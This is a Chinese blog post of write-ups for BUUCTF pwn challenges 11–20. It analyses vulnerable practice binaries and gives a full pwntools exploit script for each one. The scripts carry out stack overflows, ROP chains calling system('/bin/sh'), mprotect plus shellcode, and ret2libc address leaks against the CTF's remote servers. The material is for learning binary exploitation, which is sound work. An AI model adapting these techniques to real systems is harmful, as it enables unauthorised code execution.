buuctf习题pwn(11~20)

已于 2024-01-28 16:54:19 修改
阅读量383 收藏 1
点赞数 2
分类专栏： pwn 文章标签： 学习
于 2023-06-04 23:25:33 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yw__y/article/details/131038819
版权

11~20

第十一题bjdctf_2020_babystack

checksec一下
在这里插入图片描述
64位小端，nx，部分重定位
拖入ida
在这里插入图片描述
输入一个数字，再读入数字个字节
存在栈溢出漏洞
有后门函数
在这里插入图片描述
backdoor=0x04006E6
算了一下，溢出长度加上地址长度 0x10+8+8=0x20=32
所以而exp

from pwn import*
io=remote('node4.buuoj.cn',28601)
backdoor=0x04006E6
io.sendline(b'32')
payload=b'a'*0x18+p64(backdoor)
io.sendlineafter('name?\n',payload)
io.interactive()

这题打本地打不通，应该是本地环境和远程不一样，我打了一段时间本地觉得没写错，后来去找其他博客才知道本地打不了

第十二题 get_started_3dsctf_2016//需要常看复习mprotect函数

看了其他的博客这题有两个解法
checksec一下
在这里插入图片描述
三十二位小端，开启了nx保护
拖入ida在这里插入图片描述
main函数里有栈溢出漏洞
在这里插入图片描述
看一下栈，好像少了点什么哈
去看汇编代码
在这里插入图片描述

这里没有用ebp寄存器，所以填充栈时不用填充栈底寄存器ebp了就（看了其他师傅的wp才知道）
方法一：通过后门函数进行回显flag
exp如下：

from pwn import*
io=remote('node4.buuoj.cn',25018)
#io=process('./get_started_3dsctf_2016')
exit_addr=0x804E6A0#在ida中可以找到
get_flag_addr=0x80489A0
a1=814536271
a2=425138641
payload=b'a'*0x38+p32(get_flag_addr)+p32(exit_addr)+p32(a1)+p32(a2)
io.sendline(payload)
io.interactive()

获取flag
在这里插入图片描述
可能是远程环境不同，get_falg的返回地址一定要是exit，正常返回，异常返回不会回显flag。
方法二：修改某段地址的权限为可写可读可执行再ret2shellcode
介绍一个函数mprotect

int mprotect(void *addr, size_t len, int prot);
addr：指向目标内存区域的起始地址。

len：内存区域的长度（以字节为单位）。

prot：新的内存保护属性，可以使用以下标志按位或运算组合：

PROT_NONE：无法访问内存。
PROT_READ：可读取内存。
PROT_WRITE：可写入内存。
PROT_EXEC：可执行内存。
可以将proc设置为7表示可写可读可执行，就像chmod指令中的7一样

先要找一个可以传三个参数的gadget，随便选
指令

ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret'|grep pop

我选的是这个pop3_addr=0x0804f460
使用pop指令传参的原因是为了还原调用过程，不破坏栈
思路是用mprotect函数修改段地址的权限，再调用read函数设置参数fd为0即可从键盘输入shellcode。
再转到修改权限的段，需要发送两次payload
修改权限的地址的选择
因为内存分页系统，每个内存页的大小为4kb=212b=0x1000b,所以起始地址一定是后三位为000的地址，（之前看其他师傅的wp，直接就说因为内存分页系统，每个内存页大小为4kb所以后三位必须是000，真看不懂，我觉得是因为4kb=212=0x1000b，所以起始地址才必须是后三位为000）
然后改地址段权限就被要求是内存页的起始地址，也就是以000结尾的地址
在ida中按ctrl+s查看各段的起始地址和结束地址，双击转至位置
经过观察发现有起始位置是以后三位为000结尾的地址

在这里插入图片描述
我们选择这段地址为修改内存页权限的起始地址
故m_addr=0x80EB000
说一下read函数

ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容    设为0
buf 设为我们想要执行的内存地址      设为我们已找到的内存地址0x80EB000
size 适当大小就可以               只要够读入shellcode就可以，设置大点无所谓

exp如下

from pwn import*
io=remote('node4.buuoj.cn',25018)
elf=ELF('./get_started_3dsctf_2016')
mprotect_addr=elf.symbols['mprotect']
read_addr=elf.symbols['read']
pop3_addr=0x0804f460
m_addr=0x80EB000
size=0x1000
proc=0x7

payload=b'a'*0x38

payload+=p32(mprotect_addr)
payload+=p32(pop3_addr)
#mprotect三个参数
payload+=p32(m_addr)
payload+=p32(size)
payload+=p32(proc)

payload+=p32(read_addr)
#-----------------------
payload+=p32(pop3_addr)
#-----------------------
#read函数的三个参数
payload+=p32(0)
payload+=p32(m_addr)
payload+=p32(size)
#转到将要执行的位置，在函数读取shellcode之后，回到这个位置来执行shellcode
payload+=p32(m_addr)
io.sendline(payload)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

运行exp获取shell
在这里插入图片描述
再说一下我不理解的地方，就是将exp中（为了方便寻找我做了标记）

#-----------------------
payload+=p32(pop3_addr)
#-----------------------

修改为

payload+=p32(m_addr)

运行之后也可以拿到shell，希望能有大佬讲解一下

第十三题 jarvisoj_level2_x64

checksec一下

请添加图片描述

64位，开启了nx保护

拖入ida

{% asset_img jarvisoj_level2_x64_2.png %}

查看function函数

{% asset_img jarvisoj_level2_x64_3 %}

查看栈结构

在这里插入图片描述

偏移量：0x88

f12+shift查看字符串窗口

{% asset_img jarvisoj_level2_x64_5 %}

有/bin/sh和system

最终确认二者地址为

{% asset_img jarvisoj_level2_x64_6 %}

{% asset_img jarvisoj_level2_x64_7 %}

sys_addr=0x4004C0

bin_sh=0x600A90

因为文件是64位的，需要用rdi传参

又system函数有栈对齐的要求，需要ret来凑数

关于栈对齐，推荐一篇文章

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园

文章中说system函数要求在其之前16位栈对齐，是说在system之前的长度必须是16的倍数

(偏移量)0x88+(pop_rid)8+(bin_sh)8=0x98=152再加8是16的倍数

所以需要ret来栈对齐

查找pop_rid和pop_ret的gadget

ROPgadget --binary 文件名 --only ‘pop|ret’

{% asset_img jarvisoj_level2_x64_8 %}

payload如下

payload=b'a'*0x88+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

exp:

from pwn import*
#io=process("./level2_x64")
io=remote('node4.buuoj.cn',25190)
pop_rdi=0x4006b3
bin_sh=0x00600A90
sys_addr=0x4004C0
pop_ret=0x4004a1
payload=b'a'*0x88+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
io.sendline(payload)
io.interactive()

但是打远程不对齐也能通

第十四题 [HarekazeCTF2019]baby_rop

checksec
在这里插入图片描述
64位，堆栈不可执行
拖入ida
在这里插入图片描述
f12+shift查看字符串窗口
找到好东西了，system和/bin/sh都有
在这里插入图片描述
查找地址后得到
bin_sh=0x601048
system=0x400490
再找溢出点，也很好找
在这里插入图片描述
ida给出的栈长度是对的
最终exp

from pwn import*
#io=process('./babyrop')
io=remote('node4.buuoj.cn',27885)
pop_rdi=0x400683
bin_sh=0x601048
system=0x400490
pop_ret=0x0400479
payload=b'a'*0x18+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()

题目中提示ubuntu18，这个意思是要栈对齐，在之前的题目中提到过，就是system函数之前的字节数为16的倍数
所以这里用到pop_ret来凑数
有趣的是打通之后，
flag没有在当前目录，我还好奇的去群里问了一下，很快就找到方法
输入这条指令就能找到flag的位置

find / -name flag

第十五题 [OGeek2019]babyrop

checksec一下
在这里插入图片描述
32位，重定位表只读且堆栈不可执行
在ida中查看，没有后门等
只能ROPret2libc
main函数

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

/dev/urandom是Linux的一个生成随机数文件，0代表只读，但是open函数还是返回一个大于0的数，read函数将fd写给buf，因此buf处的数是随机的。
将buf作为参数传给sub_804871F返回值赋值给v2，将v2作为参数传给 sub_80487D0。

sub_804871F函数

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}

memset函数：将某一块区域内容设置为指定内容，多用于数组的初始化。
开始的两个 memset函数会将s和buf中元素都初始化为0.
sprintf函数，这个在我写c结课设计项目时遇到过，他是把a1打印在s上。
read函数从键盘读取0x20字节内容写入buf，并将返回值赋值给v5，查找资料的read函数返回值为读取的字节数。
接下来判断buf和s大小，相等返回0，不相等返回非0的数程序就会终止。因此第一个任务就是使比较结果为0
sub_80487D0函数

ssize_t __cdecl sub_80487D0(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, a1);
}

这个就不用说了。
思路
在sub_804871F函数中，我们确定了第一个目的，防止程序退出，就要使strncmp(buf, s, v1)结果为0
可以看到v1 = strlen(buf);这个总能看到，又是\x00截断，在输入时设置第一个元素为\x00
最后返回的时buf[7]，看sub_80487D0函数，我们需要将传入的参数尽可能大了写，这样才能栈溢出并进行想要的操作
所以在输入时就要将buf[7]也一起修改了。
另外，sendline函数的结束符也是算一个字节的，所以输入的时候只要*7就可以了
这里又用到了\这个符号，\为转义字符，’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号，例如’\xff’表示ASCII码为255的符号。
这个用到扩展ASCII，因为键盘上能输入的字符对应最大的ASCII数不足以完成栈溢出。
关于这个推荐收藏
因此第一个payload

payload=b'\x00'+b'\xff'*7

题目给了libc库版本，我本来不想用的，但是LibcSearcher找不到对应的版本，即使更新了也找不到，没办法又学会了一种方法。
完整exp

from pwn import*
#from LibcSearcher import*
#io=process("./pwn")
io=remote("node4.buuoj.cn",26594)
elf=ELF("./pwn")
main_addr=0x8048825
payload=b'\x00'+b'\xff'*7
io.sendline(payload)
io.recvuntil('Correct\n')
write_plt=elf.plt['write']
write_got=elf.got['write']
payload1=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc=ELF("./libc-2.23.so")
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+libc.sym["system"]
bin_sh=libcbase+next(libc.search(b'/bin/sh'))
payload2=b'a'*0xe7+b'a'*4+p32(sys_addr)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.recvuntil('Correct\n')
io.sendline(payload2)
io.interactive()

不想解释了，有些注意点

  1. 32位程序函数参数直接压入栈中，即函数地址->函数的返回地址->参数n->参数n-1>···>参数1
  2. bin_sh=libcbase+next(libc.search(b'/bin/sh'))行原本其他博客中是binsh_libc=libc.search('/bin/sh').next()，但是一用就报错，后来找到原因是因为python3取消了那种用法。

第十六题 ciscn_2019_n_5

checksec一下
在这里插入图片描述
基本没有保护，那就可以试试ret2shellcode了
拖入ida

也很简单，name是bss段的，name写shellcode，gets溢出到name执行shellcode
exp

from pwn import*
#io=process('./c')
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',25169)
shellcode_addr=0x601080
shellcode=asm(shellcraft.sh())
payload=b'a'*0x28+p64(shellcode_addr)
io.recvuntil(b'name\n')
io.sendline(shellcode)
io.recvuntil(b'me?\n')
io.sendline(payload)
io.interactive()

值得一提的是

context(os='linux',arch='amd64',log_level='debug')

这行代码是很主要的，它表明了系统以及版本，如果不表明系统，生成的shellcode是32位的，那样就打不通。
还有，打本地也打不通。

第十七题 others_shellcode

直接nc

第十八题 ciscn_2019_en_2

这个题和第八题是一样的，我没去了解为啥一样，重新做了一遍，仍是有不会的地方
checksec一下
在这里插入图片描述
64位，堆栈不可执行
ida
在这里插入图片描述
这是一个加密程序，选择1可以加密
这是加密函数
在这里插入图片描述
绕过加密的办法：通过\x00截断strlen获取加密长度
还是直接给exp再解释

from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
#以前不会用，这次开始用感觉很方便，在接收数据时便于吸收其他没用的东西
io=remote('node4.buuoj.cn',26149)
#io=process('./ciscn_2019_en_2')
elf=ELF('./ciscn_2019_en_2')
pop_rdi=0x400c83
pop_ret=0x4006b9#这两个gadget很好找的
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
#前面是\x00截断，rid传参，got是参数，plt是函数，main是返回地址（这是64位调用函数的方式）
io.sendline(payload)
io.recvuntil(b'Ciphertext\n')
io.recvuntil(b'\n')
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#这个是接收一行，去除末尾换行符，补齐到8位，直接用u64(io.recv(8))不行接到的数据是错的，我觉得可能是换行符的原因
#print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'\x00'+b'a'*0x57+p64(pop_ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
#又在这里卡了一下，题目说了是ubuntu18，system有栈对齐的，所以用ret来凑数
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil('encrypted\n')
io.sendline(payload)
io.interactive()

第十九题 not_the_same_3dsctf_2016

checksec
在这里插入图片描述

32位堆栈不可执行
ida
main函数

nt __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(v4);
  return 0;
}

有溢出
查看字符串窗口
在这里插入图片描述看到了flag.txt
跟进后找到了get_secret()函数

int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}

地址为get_secret=0x080489A0
这个函数打开了flag.txt文件并且存储到了fl4g位置
在这里插入图片描述
所以flag地址为flag_addr=0x80ECA2D
想要把flag输出，可以用printf、puts，我尝试了printf，但是没有成功，后来看了wp，都是用的write
改成用write
write有三个参数，一个是文件描述符（0，1，2），数据的地址，写入的长度。
第一个参数设置为1，代表输出流
栈结构不看了，多大都能溢出，还有看的结构里发现不用多溢出4，汇编显示最后没有用到ebp
payload我写了俩

payload1=b'a'*0x2d+p32(get_secret)+p32(main_addr)
payload2=b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
#第二个payload中，0是返回地址，45是根据get_secret()函数中可以得知flag长度为45

exp

from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',28754)
elf=ELF('./not_the_same_3dsctf_2016')
get_secrec=0x80489A0
flag_addr=0x80ECA2D
write_addr=elf.sym['write']
main_addr=elf.sym['main']
payload1=b'a'*0x2d+p32(get_secrec)+p32(main_addr)
payload2=b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
io.sendline(payload1)
io.sendline(payload2)
io.interactive()

第二十题 ciscn_2019_ne_5

查看安全策略和反汇编

checksec

请添加图片描述

32位堆栈不可执行

ida

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-100h] BYREF
  char src[4]; // [esp+4h] [ebp-FCh] BYREF
  char v6[124]; // [esp+8h] [ebp-F8h] BYREF
  char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
  char v8[96]; // [esp+88h] [ebp-78h] BYREF
  int *p_argc; // [esp+F4h] [ebp-Ch]

  p_argc = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(v8, 0, sizeof(v8));
  *(_DWORD *)src = 48;
  memset(v6, 0, sizeof(v6));
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf("%100s", s1);
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  puts("Input your operation:");
  puts("1.Add a log.");
  puts("2.Display all logs.");
  puts("3.Print all logs.");
  printf("0.Exit\n:");
  __isoc99_scanf("%d", &v4);
  switch ( v4 )
  {
    case 0:
      exit(0);
      return result;
    case 1:
      AddLog(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 2:
      Display(src);
      result = sub_804892B(argc, argv, envp);
      break;
    case 3:
      Print();
      result = sub_804892B(argc, argv, envp);
      break;
    case 4:
      GetFlag(src);
      result = sub_804892B(argc, argv, envp);
      break;
    default:
      result = sub_804892B(argc, argv, envp);
      break;
  }
  return result;
}

查看字符串窗口

{% asset_img ciscn_2019_ne_5_2.png %}

看到flag字样，跟进后

GetFlag函数

int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h] BYREF
  char v3[60]; // [esp+4h] [ebp-44h] BYREF

  *(_DWORD *)dest = 48;
  memset(v3, 0, sizeof(v3));
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}

提示在log，找到有关log

addlog函数

int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}

可以输入128字节，通过addlog函数给src写payload

再调用getflag函数，将src复制到dest，造成栈溢出，可以拿到shell

有了system还差/bin/sh，虽然没法直接找到/bin/sh的gadget，但是找到了sh的gadget

exp

from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26921)
#io=process('./ciscn_2019_ne_5')
str_sh=0x080482ea
system=0x80484D0
io.recvuntil(b'password:')
io.sendline(b'administrator')
io.recvuntil(b':')
io.sendline(b'1')
io.recvuntil(b'info:')
payload=b'a'*0x4c+p32(system)+b'0000'+p32(str_sh)
io.sendline(payload)
io.recvuntil(b':')
io.sendline(b'4')
io.interactive()
yw__y
关注
  • 2
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BUUCTF-PWN刷题记录-22
weixin_44145820的博客
05-18 663
目录ciscn_2019_n_2（double free） ciscn_2019_n_2（double free） delete的时候有一个double free漏洞 利用思路： 先用一个double free把0x602060（chunklist）申请出来，这样我们就能先修改里面的指针了，先利用GOT表泄露libc,然后写入__free_hook的地址并使用编辑写入system地址就行 Exp: from pwn import * menu = "Your choice: " def add(con
[第六章 CTF之PWN章]n1ker
yongbaoii的博客
04-18 570
ctf题库ctf-pwn赛题收集
03-31
ctf题库 CTF(夺旗赛)题库是一个由安全专家和爱好者们制作的一系列网络安全挑战。这些挑战旨在测试各种安全技能，包括密码学、逆向工程、漏洞利用和网络分析等。 CTF题库通常由多个类别的挑战组成，例如Web安全、二进制反汇编、密码学、隐写术等。每个类别都包含多个挑战，每个挑战都有一个或多个标志(flag)。参赛者必须通过解决每个挑战来获取相应的标志，然后提交标志以获得积分。比赛通常在一定的时间内进行，参赛者可以单独或组队参加。 此外，CTF题库也提供了一个实践和交流的平台，使参赛者能够在真实的环境中测试和展示他们的技能。在比赛中，参赛者可以学习新的技能，了解新的安全趋势，并结识志同道合的人。此外，CTF比赛也是一种很好的锻炼方式，能够帮助参赛者提高解决问题的能力和团队协作能力。 CTF题库是学习和提高网络安全技能的极好途径。它们提供了一个实践和交流的平台，使参赛者能够在真实的环境中测试和展示他们的技能。如果您对网络安全感兴趣，请尝试参加一个CTF比赛或挑战集，它们将为您提供有趣和具有挑战性的体验。
2024年网络安全最新pwn入门-buu第二页题解(32道)（持续更新中）(1)
最新发布
2401_84266016的博客
05-03 945
write_addr=u32(p.recv(4))#这里我是把收到的数据进行u32解包得到的数据，你们的可能会不一样。//这个远程是打不通的，只有本地打得通。
BUUCTF PWN 刷题 1-15题
农夫果园好好喝的博客
08-21 2053
经典栈溢出漏洞。
swpuctf2019 Login pwn详细题解
seaaseesa的博客
12-09 1652
Login 这是swpuctf2019的第二道pwn题，主要考点就是非栈上的字符串格式化漏洞利用。 首先，我们检查一下程序的保护机制 PIE和RELRO没有开启，那么我们可以轻易的利用漏洞修改GOT表 我们用IDA分析一下 在这里，有一个明显的格式化字符串漏洞，由于s1不是在栈上，而是在bss段里，所以漏洞利用起来会比栈上的字符串格式化漏洞稍微繁琐一些。由于外层是一个死循环，所以...
pwn栈溢出基础练习题——2
qq_41696518的博客
07-06 299
pwn栈溢出练习，所有题目在练习题——1中
buuctf pwn ubuntu20的自己搭建运行环境
11-15
pwn ubuntu20的自己搭建运行环境具体情参考https://blog.csdn.net/weixin_41748164/article/details/127874334
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
一道pwn入门的练习题
10-23
直接以一个非常简单的栈溢出例子(基于Linux)来讲解pwn所要用到的一些常用的工具及命令的用例
pwn1 一道pwn练习题
05-07
pwn练习题
pwn栈溢出10道练习题有writeup
01-04
在这个场景中，"pwn栈溢出10道练习题有writeup" 提供了10个关于栈溢出的实战练习，每个题目都配有详细的解答，这对于学习和理解栈溢出漏洞原理及其利用技术非常有帮助。 栈溢出是由于程序在栈上分配的内存不足，...
2020MRCTF - 部分Pwn题
weixin_44864859的博客
04-09 323
easyoverflow 保护全开，但这里只需要栈溢出覆盖数据满足check函数判断就好了。 exp： from pwn import * context.log_level = 'debug' p = remote('38.39.244.2',28082) payload="a"*48 + "n0t_r3@11y_f1@g" p.sendline(payload) p.interacti...
buuctf习题pwn（41~50）
yw__y的博客
09-27 288
堆的题还没写
”BUUCTF之pwn题解（一些栈题+程序分析）
热门推荐
swedsn
01-13 1万+
文章目录前言一、test_your_nc二、rip2.读入数据总结 前言 萌新的总结（包含当时做题的全过程)，方便以后查看。有什么不对的望各位大佬指点。 一、test_your_nc 1.直接nc（nc+的ip+端口号）。这里是直接进入了对方的shell命令中（有些题目是直接进入对方的文件并不会进入对方的shell中）。接下来就是和操作自己的shell一样的，ls查看目录，cat查看文件flag。 相互连接 二、rip 1使用IDA打开文件，先找main函数，然后按F5查看伪代码。看wp说fun可疑，点进
CTF-记一次PWN练习
小王的技术库
08-10 974
在CTF中PWN题型通常会直接给定一个已经编译好的二进制程序（Windows下的EXE或者Linux下的ELF文件等），然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞，并编写利用代码，通过远程代码执行来达到溢出攻击的效果，最终拿到目标机器的shell夺取flag。try again.的提示信息，请对pwn1程序进行逆向分析和调试，找到程序内部的漏洞，并构造特殊的输入数据，使之输出Congratulations,
学习笔记：buuctf pwn题
RookieMOR的博客
06-18 455
学习笔记，有不对的请大家指出
ACTF出题(dropper+master_of_dns)
qq_36386435的博客
07-03 2135
ACTF2022出题(dropper+master_of_dns)
CTF pwn题堆入门 -- Unsorted bin
lifanxin的博客
04-08 3158
Unsorted bin概述攻击方式泄露libc地址总结 概述   Unsorted bin也是堆题中常见的，当一个堆块被释放时，且该堆块大小不属于fast bin（libc-2.26之后要填满tcache），那么在进入small bin和large bin之前，都是先加入到unsorted bin的。之后当我们再次分配内存到unsorted bin上寻找时，如果申请的内存堆块小于寻找的unsorted bin，那么会将该内存块切割后返回给用户，剩下的仍然保存在unsorted bin上；如果申请的内存堆块
buuctf pwn
10-01
buuctf pwn是指一个CTF比赛中的pwn题目，其中包含了经典的栈溢出漏洞、ret2system和ret2text的漏洞利用方法。在栈溢出漏洞中，通过向缓冲区中输入超过其容量的数据，覆盖掉程序的返回地址，从而控制程序的执行流程。而ret2system是一种漏洞利用技术，通过修改返回地址为system函数的地址，来实现执行系统命令的目的。ret2text是一种类似的漏洞利用技术，通过修改返回地址为.text段中的某个特定地址，来实现执行指定代码的目的。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值